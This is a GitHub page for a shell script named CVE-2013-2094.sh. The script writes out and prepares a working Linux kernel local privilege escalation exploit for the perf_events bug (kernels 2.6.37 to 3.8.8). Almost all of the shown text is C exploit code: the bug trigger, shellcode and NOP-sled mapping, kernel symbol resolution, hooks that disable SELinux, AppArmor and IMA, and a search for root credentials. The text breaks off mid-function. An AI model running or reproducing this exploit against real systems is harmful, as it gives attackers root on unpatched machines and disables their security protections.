-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathCVE-2013-2094.sh
executable file
·2287 lines (1994 loc) · 63.3 KB
/
CVE-2013-2094.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# original exploit by [email protected], written in 2010
# heavily modified by spender to do things and stuff
# edited by Pashkela for RDOT.ORG 02.06.2013
cat > exp_abacus.c <<_EOF
/*
* original exploit by [email protected], written in 2010
* heavily modified by spender to do things and stuff
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <fcntl.h>
#include <assert.h>
#define BIT64 (sizeof(unsigned long) != sizeof(unsigned int))
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
struct exploit_state *exp_state;
int is_old_kernel = 0;
char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
int requires_null_page = 0;
#define JMPLABELBASE64 0x1780000000
#define JMPLABELBASE32 0x1a00000
#define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
#define JMPLABELNOMODBASE64 0xd80000000
#define JMPLABELNOMODBASE32 0x40000000
#define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
#define BASE64 0x380000000
#define BASE32 0x80000000
#define BASE (BIT64 ? BASE64 : BASE32)
#define SIZE64 0x010000000
#define SIZE32 0x02000000
#define SIZE (BIT64 ? SIZE64 : SIZE32)
#define KSIZE (BIT64 ? 0x2000000 : 0x2000)
#define SYSCALL_NO (BIT64 ? 298 : 336)
#define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
static int wrap_val;
static int structsize;
static int has_jmplabel;
static int is_unaligned;
static int target_offset;
static int computed_index;
static unsigned long target_addr;
static unsigned long array_base;
unsigned long kbase;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int ring0_cleanup(void)
{
if (BIT64) {
*(unsigned int *)(target_addr + target_offset) = 0xffffffff;
/* clean up the probe effects for redhat tears */
(*(unsigned int *)(array_base - structsize))--;
(*(unsigned int *)(array_base - (2 * structsize)))--;
}
/* on 32bit we let the kernel clean up for us */
return 0;
}
int main_pid;
int signals_dont_work[2];
int total_children;
static int send_event(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
int fd;
if ((int)off >= 0) {
printf(" [-] Target is invalid, index is positive.\n");
exit(1);
}
if (getpid() == main_pid)
printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
if (fd < 0) {
printf(" [-] System rejected creation of perf event.\n");
exit(1);
}
if (BIT64)
close(fd);
return fd;
}
//static unsigned long security_ops;
static unsigned long perf_swevent_enabled;
static unsigned long ptmx_fops;
int trigger(void)
{
/* !SMEP version */
printf(" [!] Array base is %p\n", (void *)array_base);
printf(" [!] Detected structure size of %d bytes\n", structsize);
printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
#ifdef __x86_64__
send_event(computed_index);
if (is_unaligned) {
asm volatile (
"pushfq\n"
"orq \$0x40000, (%rsp)\n"
"popfq\n"
"test %rax, 0x1(%rsp)\n"
);
} else {
asm("int \$0x4");
}
#else
{
unsigned long kbase_counter = 0;
int ret;
int fd;
int pipes[2];
int i;
char garbage;
/* child notification/reaping code from zx2c4 */
pipe(pipes);
pipe(signals_dont_work);
main_pid = getpid();
total_children = 0;
while (kbase_counter < kbase) {
if (!fork()) {
int x;
for (x = 0; x < 512; x++)
send_event(computed_index);
write(pipes[1], &garbage, 1);
read(signals_dont_work[0], &garbage, 1);
_exit(0);
}
kbase_counter += 512;
total_children++;
}
for (i = 0; i < total_children; i++)
read(pipes[0], &garbage, 1);
fd = open("/dev/ptmx", O_RDWR);
if (fd < 0) {
printf(" [-] Unable to open /dev/ptmx\n");
exit(1);
}
{
struct iovec iov;
/* this choice is arbitrary */
iov.iov_base = &iov;
iov.iov_len = sizeof(iov);
/* this one is not ;) */
readv(fd, &iov, 1);
}
}
#endif
/* SMEP/SMAP version, shift security_ops */
//security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
//for (i = 0; i < sizeof(unsigned long); i++)
// send_event(-wrap_val + ((security_ops&0xffffffff)-0x80000000)/4, 1);
// add fancy trigger here
return 0;
}
int post(void)
{
write(signals_dont_work[1], &total_children, total_children);
return RUN_ROOTSHELL;
}
static int find_mod_in_mapping(unsigned int *mem, unsigned long len, int *idx)
{
unsigned long i, x;
for (i = 0; i < len/4; i++) {
if (mem[i] == MAGICVAL) {
for (x = 1; x < 7; x++) {
if (mem[i+x] == MAGICVAL) {
*idx = i;
return 4 * x;
}
}
break;
}
}
return 0;
}
int prepare(unsigned char *buf)
{
unsigned char *mem;
unsigned char *p;
int fd;
unsigned int *map1, *map2, *map3;
int i, x;
unsigned long idx;
char c;
int fd1, fd2;
assert((map1 = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)BASE);
memset(map1, 0x44, SIZE);
assert((map2 = mmap((void*)JMPLABELBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELBASE);
memset(map2, 0x44, SIZE);
assert((map3 = mmap((void*)JMPLABELNOMODBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELNOMODBASE);
memset(map3, 0x44, SIZE);
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4);
fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1);
structsize = find_mod_in_mapping(map1, SIZE, &i);
if (!structsize) {
structsize = find_mod_in_mapping(map2, SIZE, &i);
if (!structsize) {
structsize = find_mod_in_mapping(map3, SIZE, &i);
if (!structsize) {
printf(" [-] Unsupported configuration.\n");
if (!BIT64) {
close(fd1);
close(fd2);
}
exit(1);
} else
has_jmplabel = 1;
} else
has_jmplabel = 1;
}
/* permit the dec back */
if (!BIT64) {
close(fd1);
close(fd2);
}
wrap_val = 4 * i + 2 * structsize;
if (BIT64) {
/* use masked kernel range here */
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
target_addr = idt.addr;
array_base = 0xffffffff80000000UL | wrap_val;
/* do we need to target AC instead? */
if (has_jmplabel) {
if ((array_base - target_addr) % structsize) {
is_unaligned = 1;
target_offset = 0x118;
} else
target_offset = 0x48;
} else
target_offset = 0x48;
computed_index = -((array_base-target_addr-target_offset)/structsize);
} else {
int brute;
/* use just above mmap_min_addr here */
kbase = 0;
while (1) {
mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem != MAP_FAILED) {
munmap((void *)kbase, 0x1000);
break;
} else
kbase += 0x1000;
}
array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
if (!target_addr || !array_base) {
printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
exit(1);
}
target_offset = 4 * sizeof(unsigned int);
computed_index = 0;
for (brute = -1; brute < 0; brute--) {
if (array_base + (brute * structsize) == (target_addr + target_offset)) {
computed_index = brute;
break;
}
}
if (!computed_index) {
printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
exit(1);
}
}
/* elito hungarian technique */
fd = open("./suckit_selinux_nopz", O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create nop sled file\n");
exit(1);
}
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap nop sled\n");
goto error;
}
memset(mem, 0x90, 0x1000);
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create shellcode file\n");
exit(1);
}
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap nop sled\n");
goto error;
}
memset(mem, 0x90, 0x1000);
p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
if (BIT64) {
// swapgs
p[0] = 0x0f;
p[1] = 0x01;
p[2] = 0xf8;
}
p += 3;
// call own_the_kernel
p[0] = 0xff;
p[1] = 0x15;
*(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
// call exit_kernel
p[6] = 0xff;
p[7] = 0x25;
*(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
*(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
*(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
fd = open("./suckit_selinux_nopz", O_RDONLY);
if (fd < 0) {
printf("unable to open nop sled file for reading\n");
goto error;
}
// map in nops and page them in
for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
printf("unable to mmap\n");
goto error;
}
if (!idx)
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
}
fd = open("./suckit_selinux", O_RDONLY);
if (fd < 0) {
printf("unable to open shellcode file for reading\n");
goto error;
}
mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
printf("unable to mmap\n");
goto error;
}
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
return 0;
error:
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
exit(1);
}
_EOF
cat > exploit.c <<_EOF
/* exploit lib */
#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/personality.h>
#include <time.h>
#include <unistd.h>
#include <fnmatch.h>
#include <dirent.h>
#include <dlfcn.h>
#include <grp.h>
#ifdef HAVE_SELINUX
#include <selinux/selinux.h>
#include <selinux/context.h>
#endif
#ifndef PATH_MAX
#define PATH_MAX 4095
#endif
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
typedef int (*_prepare_for_exploit)(unsigned char *buf);
typedef int (*_trigger_the_bug)(void);
typedef int (*_post_exploit)(void);
typedef int (*_ring0_cleanup)(void);
typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);
#define MAX_EXPLOITS 32
struct exploit_module {
char desc[512];
_get_exploit_state_ptr get_exploit_state_ptr;
_prepare_for_exploit prep;
_trigger_the_bug trigger;
_post_exploit post;
_ring0_cleanup ring0_cleanup;
int requires_null_page;
int requires_symbols_to_trigger;
} modules[MAX_EXPLOITS];
int num_exploits = 0;
int check_entry(const struct dirent *dir)
{
if (!fnmatch("exp_*.so", dir->d_name, 0))
return 1;
return 0;
}
void add_exploit_modules(void)
{
struct dirent **namelist;
void *mod;
void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger;
char tmpname[PATH_MAX];
int n;
int i;
n = scandir(".", &namelist, &check_entry, alphasort);
if (n < 0) {
fprintf(stdout, "No exploit modules found, exiting...\n");
exit(1);
}
for (i = 0; i < n; i++) {
snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name);
tmpname[sizeof(tmpname)-1] = '\0';
mod = dlopen(tmpname, RTLD_NOW);
if (mod == NULL) {
unable_to_load:
fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name);
free(namelist[i]);
continue;
}
desc = dlsym(mod, "desc");
prepare = dlsym(mod, "prepare");
ring0_cleanup = dlsym(mod, "ring0_cleanup");
trigger = dlsym(mod, "trigger");
post = dlsym(mod, "post");
requires_null_page = dlsym(mod, "requires_null_page");
requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger");
get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");
if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL)
goto unable_to_load;
#ifdef NON_NULL_ONLY
if (*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#else
if (!*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#endif
if (num_exploits >= MAX_EXPLOITS) {
fprintf(stdout, "Max exploits reached.\n");
return;
}
strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1);
modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0';
modules[num_exploits].prep = (_prepare_for_exploit)prepare;
modules[num_exploits].trigger = (_trigger_the_bug)trigger;
modules[num_exploits].post = (_post_exploit)post;
modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup;
modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
modules[num_exploits].requires_null_page = *(int *)requires_null_page;
modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0;
free(namelist[i]);
num_exploits++;
}
return;
}
struct exploit_state exp_state;
int eightk_stack = 0;
int twofourstyle = 0;
int raised_caps = 0;
unsigned long current_addr = 0;
int cred_support = 0;
int cred_offset = 0;
int fs_offset = 0;
int aio_read_offset = 0;
int has_vserver = 0;
int vserver_offset = 0;
unsigned long init_cred_addr = 0;
unsigned long default_exec_domain = 0;
#define TASK_RUNNING 0
#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff81000000UL
#define KSTACK_MIN 0xffff800000000000UL
#define KSTACK_MAX 0xfffffffff0000000UL
#else
#define KERNEL_BASE 0xc0000000UL
#define KSTACK_MIN 0xc0000000UL
#define KSTACK_MAX 0xfffff000UL
#endif
char *exit_stack;
static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
current = (unsigned long)¤t;
exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long));
current = *(unsigned long *)(current & ~(0x1000 - 1));
if (current < KSTACK_MIN || current > KSTACK_MAX)
return 0;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return 0;
if (default_exec_domain && exec_domain != default_exec_domain)
return 0;
if (*(long *)current != TASK_RUNNING)
return 0;
return current;
}
static inline unsigned long get_current_8k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
unsigned long oldstyle = 0;
eightk_stack = 1;
current = (unsigned long)¤t;
oldstyle = current & ~(0x2000 - 1);
current = *(unsigned long *)(oldstyle);
exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long));
twofourstyle = 1;
if (current < KSTACK_MIN || current > KSTACK_MAX)
return oldstyle;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return oldstyle;
if (default_exec_domain && exec_domain != default_exec_domain)
return oldstyle;
if (*(long *)current != TASK_RUNNING)
return oldstyle;
twofourstyle = 0;
return current;
}
static int requires_symbols_to_trigger;
static int kallsyms_is_hidden;
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
if (kallsyms_is_hidden)
goto fallback;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname) && addr) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
} else if (!strcmp(name, sname)) {
kallsyms_is_hidden = 1;
}
}
fclose(f);
if (rep == 2)
return 0;
else if (rep == 1)
goto fallback2;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
goto fallback2;
rep = 1;
goto repeat;
fallback2:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "./System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL) {
sprintf(sname, "./System.map");
f = fopen(sname, "r");
if (f == NULL) {
if (requires_symbols_to_trigger) {
printf("Unable to acquire kernel symbols. Copy the appropriate System.map to the current directory.\n");
exit(1);
} else
return 0;
}
}
rep = 2;
goto repeat;
}
/* for switching from interrupt to process context */
unsigned long *ptmx_fops;
/* check for xen support */
unsigned long *xen_start_info;
int xen_detected;
int can_change_ptes;
/* check if DEBUG_RODATA only protects .rodata */
unsigned long mark_rodata_ro;
unsigned long set_kernel_text_ro;
int *audit_enabled;
int *ima_audit;
int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;
int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;
unsigned long *init_task;
unsigned long init_fs;
unsigned long *bad_file_ops;
unsigned long bad_file_aio_read;
unsigned long vc_sock_stat;
unsigned char *ima_bprm_check;
unsigned char *ima_file_mmap;
unsigned char *ima_path_check;
/* whoa look at us, 2.6.33 support before it's even released */
unsigned char *ima_file_check;
unsigned long *security_ops;
unsigned long default_security_ops;
unsigned long sel_read_enforce;
int what_we_do;
unsigned int our_uid;
typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path);
typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path);
typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk);
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr);
_make_lowmem_page_readonly make_lowmem_page_readonly;
_make_lowmem_page_readwrite make_lowmem_page_readwrite;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_prepare_ve0_process prepare_ve0_process;
_set_fs_root set_fs_root;
_set_fs_pwd set_fs_pwd;
_virt_addr_valid virt_addr_valid;
struct cred {
int usage; // must be >= 4
int uid; // 0
int gid; // 0
int suid; // 0
int sgid; // 0
int euid; // 0
int egid; // 0
int fsuid; // 0
int fsgid; // 0
int securebits; // SECUREBITS_DEFAULT 0x00000000
unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0}
unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 }
unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 }
unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET
};
static inline unsigned long *pg_to_ptr(unsigned long addr)
{
return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL));
}
static inline unsigned long pte_to_kaddr(unsigned long pte)
{
return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL);
}
#define NUM_RANGES 32
static unsigned long valid_ranges[NUM_RANGES][2];
/* elito #2 */
static inline void find_kernel_ranges(void)
{
unsigned long i, z, t;
unsigned long _cr3;
unsigned long *kernelpg;
unsigned long *kernelpte;
int rangeidx = 0;
int x = -1;
if (valid_ranges[0][0])
return;
asm volatile (
"mov %%cr3, %0"
: "=r" (_cr3)
);
kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]);
for (i = 0; i < 511; i++) {
if ((kernelpg[i] & 1) && x < 0) {
x = i;
}
if (!(kernelpg[i+1] & 1) && x >= 0) {
break;
}
}
for (z = x; z <= i; z++) {
// large page
if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]);
else if (!(kernelpg[z] & (1 << 7))) {
// check 4K pages
kernelpte = pg_to_ptr(kernelpg[z]);
for (t = 0; t < 511; t++) {
if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]);
else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]);
rangeidx++;
}
else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000;
rangeidx++;
}
}
}
}
if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000;
}
}
static inline unsigned long find_init_cred(void)
{
unsigned long len;
struct cred *tmp;
int i, x;
find_kernel_ranges();
if (!valid_ranges[0][0] || !valid_ranges[0][1])
return 0;
for (x = 0; valid_ranges[x][0]; x++) {
